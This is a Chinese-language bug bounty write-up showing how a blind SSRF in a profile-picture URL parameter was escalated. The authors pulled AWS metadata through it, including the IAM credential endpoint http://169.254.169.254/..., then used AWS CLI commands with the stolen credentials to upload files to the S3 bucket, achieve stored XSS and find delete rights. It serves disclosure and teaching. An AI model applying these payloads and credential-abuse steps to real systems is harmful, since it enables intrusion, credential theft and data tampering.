从低危Blind SSRF到严重漏洞

视频教程在我主页简介或专栏里

SSRF简介

服务器端请求伪造（SSRF）是一种Web安全漏洞，它允许攻击者使服务器端应用程序向非预期的位置发送请求。这可能导致攻击者迫使服务器连接到组织内部基础设施中仅限内部访问的服务。在其他情况下，他们可能强迫服务器连接到任意的外部系统。这可能泄露敏感数据，例如授权凭据。

Blind SSRF简介

Blind SSRF 漏洞的出现是由于应用程序被诱导向提供的 URL 发出后端 HTTP 请求，但后端请求的响应不会在应用程序的前端响应中返回。

现在我们知道了 SSRF 和Blind SSRF 之间的区别，让我们来看看我的案例……

假设我们有一个漏洞域名 redacted.com

我注册并创建了一个新账户。在访问 https://redacted.com/profile 后，我发现有两种上传图片的选项：

1.从电脑上传文件

2.使用 Facebook 个人资料图片

我尝试了第一个选项（从电脑上传文件），并注意到我的图片有一个公开可访问的 URL。在上传图片后，系统提示消息：“您的账户详情已成功更新。”

我发现该图片存储在一个 Amazon S3 存储桶中，并具有不可预测的 URL，这使我可以在没有任何访问限制的情况下访问图片。

<img src="[redacted].s3.region.amazonaws.com/[random_hash].jpeg">

在我访问该 URL 之后

看起来后端处理了图片上传，并将其存储在一个具有公开访问 URL 的 Amazon S3 存储桶中。

在测试了该功能后，我并未发现任何有趣的东西，除了这一点。于是，我转向了第二个选项（使用 Facebook 头像）。但首先，你需要将你的 Facebook 账户与平台账户连接。

在连接了我的 Facebook 账户后，我点击了第二个选项并拦截了请求。我看到一个新的参数叫 profile_picture_url。请求内容是...

POST /profile HTTP/2Host: account.redacted.comContent-Type: multipart/form-data; boundary=-------------------------- -154478894334976744053178475009-----------------------------154478894334976744053178475009Content-Disposition: form-data; name="first_name"
Attacker-----------------------------154478894334976744053178475009Content-Disposition: form-data; name="last_name"
Attacker-----------------------------154478894334976744053178475009Content-Disposition: form-data; name="profile_picture_url"
https://scontent.fcai19-12.fna.fbcdn.net/v/t39.30808-1/465664427_1119561922865378_4789856880901123456_n.jpg-----------------------------154478894334976744053178475009

响应内容如下：

{"your account details were successfully updated"}

查看源代码后，我发现图片的来源更改为 S3 存储桶中的另一个哈希文件：

<img src="[redacted].s3.region.amazonaws.com/[Different_Random_Hash].jpeg">

接着，我将该请求添加到 Repeater 中，尝试测试 profile_picture_url 参数。

首先，我添加了我的协作平台链接以检查是否存在 Blind SSRF 漏洞。

然后，我发现了一个惊喜……

我收到了来自服务器的 HTTP 和 DNS 交互，因此我立刻访问了 ipinfo.io 以收集有关该 IP 地址的信息，并注意到它来自一个 Amazon AWS 的主机名。

现在我们发现了一个Blind SSRF，我们可以将其视为信息型/低危漏洞，因为我无法执行内部端口扫描或在没有更多信息的情况下利用它。我只收到响应“您的账户详情已成功更新”，而没有任何额外数据。

然而，根据我在测试第一个选项时记录的笔记——“后端处理了图片上传，并将其存储在 <img> 标签中的 Amazon S3 存储桶内”——

我访问了 https://redacted.com/profile，查看了源代码，并发现了一些不同之处。它将其保存为一个 HTML 文件。

访问该 URL 后，我看到了奇迹……

我的协作平台主机的内容竟然出现在了那里！

这意味着我可以发起内部请求并获取公司 S3 桶中公开保存的数据，而且可以毫无问题地访问这些数据。

由于主机位于 AWS EC2 环境中，我可以注入我的有效载荷 “http://169.254.169.254/latest/meta-data/iam/security-credentials/”以检索 IAM 用户凭证。

在访问 <img> 标签中的 URL 后

在获得用户后，我们可以注入有效负载来窃取 IAM 用户凭证。

"http://169.254.169.254/latest/meta-data/iam/security-credentials/"

图像标签中的 URL 是一个 JSON 端点，点我点击后

现在我们能够窃取凭证了 :)

我联系了我的朋友进行合作，帮助寻找更多包含敏感信息的端点，我们一起发现了很多这样的端点。

“http://169.254.169.254/latest/dynamic/instance-identity/document”

我们能够提取所有这些端点。

http://169.254.169.254/latest/meta-data/block-device-mapping/http://169.254.169.254/latest/meta-data/security-groupshttp://169.254.169.254/latest/dynamic/instance-identity/documenthttp://169.254.169.254/latest/meta-data/iam/infohttp://169.254.169.254/latest/meta-data/machttp://169.254.169.254/latest/meta-data/public-keys/0/openssh-keyhttp://169.254.169.254/latest/dynamic/instance-identity/signaturehttp://169.254.169.254/latest/dynamic/instance-identity/pkcs7http://169.254.169.254/latest/dynamic/instance-identity/rsa2048

下一步是专注于访问S3桶，并尝试将其升级为RCE（远程代码执行）或识别任何其他漏洞。

使用凭据访问AWS

export AWS_ACCESS_KEY_ID= [Your_Access_Key]export AWS_SECRET_ACCESS_KEY= [SecretKey]export AWS_SESSION_TOKEN= [Token]export AWS_DEFAULT_REGION= [Region]

我们尝试了“get-caller-identity”命令，以返回用于调用该操作的IAM用户或角色的详细信息。

aws sts get-caller-identity

我们尝试了命令来获取该桶中上传的文件列表。

aws s3 ls s3://<bucket's_name>

我们得到了“权限拒绝”的响应。

我们尝试了几个命令，但不幸的是得到了相同的禁止结果（“权限拒绝”），似乎IAM用户的权限较低。我们还尝试了使用命令上传文件。

echo "POC By Drakenkun & Bedo" > POC.txtaws s3 CP POC.txt s3://<bucket's_name>

访问 URL “https://[redacted].s3.region.amazonaws.com/POC.txt” 后

我们尝试上传一个简单的 HTML 文件，其中包含通过 JavaScript 显示警告消息的代码。

现在我们成功实现了存储型 XSS。 :)

此外，我们还发现我们拥有“删除”权限，允许我们从 S3 存储桶中删除任何内容。

该平台的商业模型使用户能够创建 POST 请求，公开出售或出租物品。平台上的每个图像，包括个人资料照片，都存储在该 S3 存储桶中，这使我们能够修改或删除它们。

最后，我们将报告提交给 YesWeHack 平台，平台接受了这个作为一个关键漏洞，并给予了我们丰厚的奖励 (€€€€)。